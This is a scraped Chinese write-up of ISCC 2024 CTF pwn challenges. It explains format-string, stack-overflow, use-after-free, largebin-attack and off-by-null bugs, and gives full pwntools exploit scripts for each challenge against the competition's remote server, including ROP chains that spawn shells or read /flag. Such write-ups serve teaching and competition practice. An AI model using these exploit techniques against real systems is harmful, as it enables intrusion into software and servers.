2024 ISCC pwn wp

news2024/12/27 23:02:27

iscc 练武pwn

  • 总结
  • 第一周
    • chaos
    • ISCC_easy
    • Flag
    • shopping
  • 第二周
    • ISCC_easy
    • ISCC_U
    • heapheap
  • 第三周
    • miao
    • Your_program
    • eazy_heap

总结

总体感觉iscc考察的题目都挺基础的,在目前这种比赛的大环境下,仍然出这种,比较基础的题目,实在是难得,题目的漏洞都很明显,不需要过多的逆向,打起来很轻松,在这个静态编译加去符号的大环境下,出这种题目,真的是泪目了。

第一周

chaos

好几个选项,挨个审计

在这里插入图片描述
在这里插入图片描述

需要绕过一下
把释放的堆块再申请回来,填入Flag即可

Exp:

from pwn import *
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
p = remote('182.92.237.102', 10010)
rl("Please Choice:")
sl(str(5))

rl("Please Input Chunk size :")
sl(str(0x68))

rl("Please Input Content : ")
sl(b'Flag\x00')
inter()

ISCC_easy

审计代码,发现格式化字符串漏洞
在这里插入图片描述

并且gets函数存在栈溢出

格式化字符串漏洞泄露canary和pie,走后门即可
Exp:

from pwn import *
def s(a):
    p.send(a)
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()

p = remote('182.92.237.102', 10011)
rl(">>")
pay=b'flagisaaa%15$p%17$p'
sl(pay)

rl("0x")
can=int(p.recv(16),16)
print(hex(can))

rl("0x")
pie=int(p.recv(12),16) -0x0000000000001422-254
print(hex(can))

rl(">>")
pay=(b'exit').ljust(0x38)+p64(can)*2+p64(pie+0x1291)
sl(pay)

rl(">>")
sl(b'exit')

inter()

Flag

随便输入,只要和help。Txt不一样就可以执行格式化字符串漏洞
泄露canary即可
在这里插入图片描述

栈溢出打ret2libc
在这里插入图片描述

Exp:

from pwn import *
def s(a):
    p.send(a)
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
p = remote('182.92.237.102',  10012)
elf = ELF('./pwn')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rl("what's the content?\n")
pay=b'%19$p'
#bug()
sl(pay)

rl("0x")
can=int(p.recv(8),16)

rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(elf.plt['puts'])+p32(0x804931B)+p32(elf.got['read'])
s(pay)

libc_base=u32(p.recvuntil(b'\xf7')[-4:])-0xf0780
system,bin=libc_base+0x41360,libc_base+0x18c363

rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(system)+p32(0x804931B)+p32(bin)
s(pay)

inter()

shopping

原题,改一下脚本的细节即可
https://blog.csdn.net/weixin_43960998/article/details/115641480

exp:

from pwn import *
sh = remote('182.92.237.102', 10019)
elf = ELF('./pwn')
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping\n")

def add(size, n, content=''):
   sh.sendlineafter('Action:', '1')
   sh.sendlineafter('Item ID:', str(size))
   sh.sendlineafter('Quantity:', str(n))
   if content == '':
      sh.sendlineafter('Add gift message? (0/1):', '0')
   else:
      sh.sendlineafter('Add gift message? (0/1):', '1')
      sh.sendafter('Message:', content)

for i in range(12):
   add(0x4000, 1000)

add(0x4000, 262, '0'*0x3FF0)

payload = b'1'*0x50 + p32(0) + p32(3) + b''.join([p64(0x60201d) for _ in range(10)])
sleep(0.2)
sh.send(payload)

sleep(0.2)

payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)

sh.interactive()

第二周

ISCC_easy

格式化字符串漏洞把s改成5
在这里插入图片描述

之后进入welcome
在这里插入图片描述

栈溢出ret2libc

Exp:

from pwn import *
def s(a):
    p.send(a)
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = remote('182.92.237.102', 10013)
elf = ELF('./pwn')
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
rl("Let's have fun!\n")
pay=fmtstr_payload(4,{0x804C030:5})
s(pay)
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(elf.plt['puts'])+p32(0x804929B)+p32(elf.got['read'])
s(pay)
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['read']
system,bin=get_sb()
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(system)+p32(0x804929B)+p32(bin)
s(pay)

inter()

ISCC_U

存在uaf漏洞

在这里插入图片描述

利用点在这
在这里插入图片描述

打印用的是堆块里的地址
思路就是free一个unsorted bin堆块,在申请回来泄露libc,然后再free两个堆块,在申请0x8的堆块,就能把前俩堆块的控制堆块申请回来,将puts函数改为system,然后show原先的堆块
Exp如下:

from pwn import *
def s(a):
    p.send(a)
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()

p = remote('182.92.237.102', 10016)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
def add(size,c):
	rl("What's your choice :")
	sl(str(1))
	rl("Note size :")
	sl(str(size))
	rl("Content :")
	s(c)

def free(i):
	rl("What's your choice :")
	sl(str(2))
	rl("Index :")
	sl(str(i))

def show(i):
	rl("What's your choice :")
	sl(str(3))
	rl("Index :")
	sl(str(i))

add(0x410,b'a')
add(0x28,b'/bin/sh\x00')
free(0)
add(0x8,b'a')
show(0)
u32(p.recvuntil('\xf7')[-4:])
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['__malloc_hook']-568-0x18
system=libc_base+libc.sym['system']
free(2)
free(1)
add(0x8,p32(system)+b';`sh`\x00')
show(0)

inter()

heapheap

有沙盒
但是四个功能齐全
在这里插入图片描述

Uaf漏洞
在这里插入图片描述

版本2.31,largebin attack打IOlistall为堆地址,伪造IOfile,house of cat orw

Exp:

from pwn import *
def s(a):
    p.send(a)
def sl(a):
    p.sendline(a)
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
p = remote('182.92.237.102', 11000)
libc = ELF('./libc-2.31.so')
def add(i,size):
	rl("Your choice:\n")
	sl(str(1))
	rl("index:")
	sl(str(i))
	rl("Size:\n")
	sl(str(size))
	
def free(i):
	rl("Your choice:\n")
	sl(str(4))
	rl("index:")
	sl(str(i))

def show(i):
	rl("Your choice:\n")
	sl(str(2))
	rl("index:")
	sl(str(i))

def edit(i,c):
	rl("Your choice:\n")
	sl(str(3))
	rl("index:")
	sl(str(i))
	rl("context: \n")
	s(c)

add(0,0x450)
add(1,0x428)
add(2,0x430)
add(3,0x428)

add(7,0x410)
add(8,0x400)
add(9,0x410)

free(0)
add(4,0x500)
add(5,0x500)
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-2019296
Io_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']+61
prdi_ret = libc_base+0x23b6a
prsi_ret = libc_base+0x2601f
prdx_r12_ret = libc_base+0x119431
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']

edit(0,b'a'*0x18)
show(0)
rl("a"*0x18)
heap_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x290
edit(0,p64(libc_base+2019296)*2+p64(heap_base+0x290)+p64(Io_list_all-0x20))
free(2)
add(6,0x500)

fake_io_addr=heap_base+0xb20 
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) 
fake_IO_FILE +=p64(fake_io_addr+0x450)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) 
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1e8f60+0x30) 
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)

edit(2,fake_IO_FILE)

orw = b'/flag\x00\x00\x00'
orw=orw.ljust(0xa0,b'\x00')+p64(heap_base+0xf60+0xc0)+p64(prdi_ret+1)
orw += p64(prdi_ret) + p64(fake_io_addr+0x450) 
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)

edit(3,orw)
rl("Your choice:\n")
sl(str(5))

inter()

第三周

miao

32位静态编译,想一把梭,但是有canary,先格式化字符串漏洞泄露canary,然后第二次栈溢出构造mprotect+read+shellcode的链子
Exp如下:

from pwn import *
r = remote('182.92.237.102', 10015)
r.recvuntil("Would you like to say something to it?\n")
pay=b'%31$p'
r.sendline(pay)
r.recvuntil("0x")
can=int(r.recv(8),16)
r.recvuntil(" (  ^.^  ) \n")
p = b'a'*(0x70-0xc)+p32(can)+b'a'*(0xc)+p32(0x0806E3D0)+p32(0x0806f308)+p32(0x80ea000)+p32(0x1000)+p32(7)+p32(0x806D8D0)+p32(0x0806f308)+p32(0)+p32(0x80EA000)+p32(0x100)+p32(0x80EA000)
r.sendline(p)
sleep(0.5)
r.send(asm(shellcraft.sh()))
r.interactive()

Your_program

第一个函数就有栈溢出,简单绕过一下即可
在这里插入图片描述

Exp:

from pwn import *
p = remote('182.92.237.102', 10032)
elf = ELF('./pwn')
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(elf.got['gets'])+p64(elf.plt['puts'])+p64(0x401276)
p.sendline(pay)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x83970
system,bin=libc_base+0x52290,libc_base+1787325
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(bin)+p64(0x0000000000401763+1)+p64(system)
p.sendline(pay)
p.interactive()

eazy_heap

2.35 off by null。模板题,稍微改改exp直接打
这个实际上也是原题
https://blog.csdn.net/weixin_43784056/article/details/131265857
在这里插入图片描述
最离谱的是,脚本直接能打通,该都不用改。
在这里插入图片描述

Exp:

from pwn import *
p = remote('182.92.237.102', 2122)
def add(size,c):
	p.recvuntil("input your car choice >> \n")
	p.sendline(str(1))
	p.recvuntil("size:\n")
	p.sendline(str(size))
	p.recvuntil("content:\n")
	p.send(c)
def free(i):
	p.recvuntil("input your car choice >> \n")
	p.sendline(str(2))
	p.recvuntil("idx:\n")
	p.sendline(str(i))

def edit(i,c):
	p.recvuntil("input your car choice >> \n")
	p.sendline(str(4))
	p.recvuntil("idx:\n")
	p.sendline(str(i))
	p.recvuntil("content:\n")
	p.send(c)
	
def show(i):
	p.recvuntil("input your car choice >> \n")
	p.sendline(str(3))
	p.recvuntil("idx:\n")
	p.sendline(str(i))
add(0x410,b'a')
add(0x100,b'a')
add(0x430,b'a')
add(0x430,b'a')
add(0x100,b'a')
add(0x480,b'a')
add(0x420,b'a')
add(0x90,b'a')
free(0)
free(3)
free(6)
free(2)
add(0x450, b'a'*0x438+p32(0x551))
add(0x410,b'a')
add(0x420,b'a')
add(0x410,b'a')
free(6)
free(2)
add(0x410,b'a'*8)
add(0x410,b'a'*8)
edit(2,b'a'*8)
free(6) 
free(3)
free(5)
add(0x4f0, b"a"*0x488 + p64(0x431))
add(0x3b0,b'a')
edit(3,b"a"*0x488 + p64(0x431))
free(4)
add(0x108, b"a"*0x100)
edit(4,b"a"*0x100 + p64(0x550))
add(0x410,b'a')
free(3)
show(6)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x21a000
Io_list_all=libc_base+0x21a680
setcontext=libc_base+0x53a30+61
prdi_ret = libc_base+0x2a3e5
prsi_ret = libc_base+0x2be51
prdx_r12_ret = libc_base+0x11f497
open_addr=libc_base+0x114690
read_addr=libc_base + 0x114980
write_addr=libc_base + 0x114a20

u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
p.recv(2)
heap_base=u64(p.recv(8))-0xc20
add(0x3f0,b'a')
add(0x90, b'a' * 0x38 + p64(0xa1))
free(7)
free(4)
edit(8,b'a' * 0x38 + p64(0xa1)+p64(Io_list_all^((heap_base>>12)+1)))
fake_io_addr=heap_base+0x290 
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) 
fake_IO_FILE +=p64(fake_io_addr+0x440+0x10)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) 
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) 
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x30)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
edit(2,fake_IO_FILE)
add(0x90,b'a')
add(0x90,p64(heap_base+0x290))
orw = p64(prdi_ret) + p64(heap_base+0x6c0)
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)
edit(1,b'/flag\x00\x00\x00'*2+b'\x00'*(0xa0+0x10)+p64(heap_base+0x7c0+0x10)+p64(prdi_ret+1))
edit(0,orw)
p.recvuntil("input your car choice >> \n")
p.sendline(str(5))

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1695559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

24李林跌落神坛,880还刷吗?还是换1000、900、660?

“李林今年跌落神坛了!” “全是固定题型没新题,结果今年考的全是新题。” 880是“老真题的神”, 遇到24年,冷门考点多,计算量又大,就不灵了。 但“老真题”,还是得刷。就像往年真题是要刷的…

开源大模型与闭源大模型

概述 开源大模型和闭源大模型是两种常见的大模型类型,它们在以下方面存在差异: 开放性: 开源大模型:代码和模型结构是公开可用的,任何人都可以访问、修改和使用。闭源大模型:模型的代码和结构是私有的&…

SAP揭秘者-怎么执行生产订单ATP检查及其注意点

文章摘要: 上篇文章给大家介绍生产订单ATP检查的相关后台配置,大家可以按照配置步骤去进行配置,配置完之后,我们接下来就是要执行ATP检查。本篇文章具体给大家介绍怎么来执行生产 订单ATP检查及其注意点。 执行生产订单ATP检查的…

汇编:加减乘除指令

加法指令 (ADD) ADD指令用于将两个操作数相加,结果存储在第一个操作数中。 语法: ADD destination, source 示例: assume cs:code ​ code segmentmov ax,3mov bx,2add ax,bx //相加,结果会放在ax中mov ax,4c00hint 21h co…

[C语言]自定义类型详解:结构体、联合体、枚举

目录 🚀结构体 🔥结构体类型的声明 🔥结构的自引用 🔥结构体变量的定义和初始化 🔥结构体内存对齐 🔥结构体传参 🔥结构体实现位段(位段的填充&可移植性) &a…

读人工智能时代与人类未来笔记14_管控人工智能

1. 管控人工智能 1.1. 历史上的战场进一步推进到与数字网络相连的所有地方 1.2. 数字程序现在控制着一个由众多实体系统构成的庞大且仍在不断增长的领域,而且越来越多的此类系统已实现网络化 1.2.1. 在某些情况下甚至连门锁和冰箱都实现了网络化 1.2.2. 这催生出…

Hive安装教程

前置条件:hadoop&mysql docker容器安装mysql-CSDN博客 以下的/opt/bigdata目录根据自己实际情况更改 1.上传hive包并解压 tar -zxvf apache-hive-3.1.3-bin.tar.gz -C /opt/bigdata/ 2.修改路径 mv /opt/bigdata/apache-hive-3.1.3-bin/ hive cd /opt/bigdata/hive/…

cnVcXsrv 21.1.13.1—VcXsrv 21.1.13中文版本简单说明~~

对于VcXsrv的使用目的和用途相信大家都很了解。前不久VcXsrv做了更新,并且将项目托管到github上了。链接如下: VcXsrv: Windows X-server based on the xorg git sourceshttps://github.com/marchaesen/vcxsrv也可以简单查看如下链接: VcXs…

python数据分析——字符串和文本数据2

参考资料:活用pandas库 1、字符串格式化 (1)格式化字符串 要格式化字符串,需要编写一个带有特殊占位符的字符串,并在字符串上调用format方法向占位符插入值。 # 案例1 varflesh wound s"Its just a {}" p…

AI大模型探索之路-实战篇7:Function Calling技术实战:自动生成函数

系列篇章💥 AI大模型探索之路-实战篇4:深入DB-GPT数据应用开发框架调研 AI大模型探索之路-实战篇5:探索Open Interpreter开放代码解释器调研 AI大模型探索之路-实战篇6:掌握Function Calling的详细流程 目录 系列篇章&#x1f4a…

Python自动化工具(桌面自动化、Web自动化、游戏辅助)

工具介绍 连点工具是一款可以模拟键鼠后台操作的连点器工具。支持鼠标连点、键鼠脚本录制,支持辅助您实现办公自动化以及辅助游戏操作。功能简洁易用,非常方便操作。连点工具让您在在玩游戏、网购抢购的时候全自动点击鼠标!主要功能有&#…

Amesim应用篇-制冷剂压焓图软件Coolpack简介与冷媒流量评估

前言 空调系统仿真不可避免的会涉及到冷媒的物性参数、压焓图等信息。冷媒的物性可以在Amesim中自带的模型中查看。而压焓图可以通过Coolpack软件绘制。 一 软件介绍 Coolpack是个独立的小程序,集成了各种冷媒的性能参数,可以直观查看冷媒工作工况曲线…

力扣538. 把二叉搜索树转换为累加树

Problem: 538. 把二叉搜索树转换为累加树 文章目录 题目描述思路复杂度Code 题目描述 思路 利用二叉搜索树中序遍历的特性,**降序遍历(此处是想表达先遍历其右子树再遍历其左子树这样遍历的过程中每个节点值得大小排序是降序得)**其节点&…

区块链技术和应用二

前言 学习长安链的一些基本原理 官网:长安链开源文档 b站课程:区块链基础与应用 一、共识算法 1.1 POW工作量证明 最长链共识,没听明白 1.2 51%攻击 二、区块链的发展 2.1 区块链1.0到3.0 2.2 共有链、联盟链、私有链 2.3 发展趋势 2.4 扩…

【css3】02-css3新特性之选择器篇

目录 1 属性选择器 2 结构伪类选择器 3 其他选择器 :target和::selection ::first-line和::first-letter 4 伪类和伪元素的区别 伪类(Pseudo-classes) 伪元素(Pseudo-elements) 伪类和伪元素的区别 1 属性选择器 ☞ 属性选…

揭秘《庆余年算法番外篇》:范闲如何使用维吉尼亚密码解密二皇子密信

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容,和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣! 推荐:数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航: LeetCode解锁100…

网络安全之安全协议浅谈

安全协议 安全协议概述安全协议分类IPSecIPSec安全协议IPSec架构IPSec封装模式AH协议ESP协议SET协议SET协议电子交易模型SET协议安全目标认证中心CA 安全协议概述 安全协议是信息交换安全的核心,它在网络不同层次上、针对不同应用,通过对各种密码学技术…

群晖安装青龙脚本

青龙定时任务管理面板,支持 Python3、JavaScript、Shell、Typescript 这几种环境,通过它可以方便的管理和运行定时任务(在某个时间执行一段代码),并且只需简单的配置,就可以在各个平台收到任务执行的结果通…

[SCTF2019]babyre

打开看看还是有花指令 解除后首先pass1是解maze,好像又是三维的 x是25,也就是向下跳五层,注意是立体的 得到 passwd1: ddwwxxssxaxwwaasasyywwdd 接着往下看 有一个加密函数IDA逆向常用宏定义_lodword-CSDN博客 unsigned __int64 __fastca…

Golang | Leetcode Golang题解之第112题路径总和

题目: 题解: func hasPathSum(root *TreeNode, sum int) bool {if root nil {return false}if root.Left nil && root.Right nil {return sum root.Val}return hasPathSum(root.Left, sum - root.Val) || hasPathSum(root.Right, sum - roo…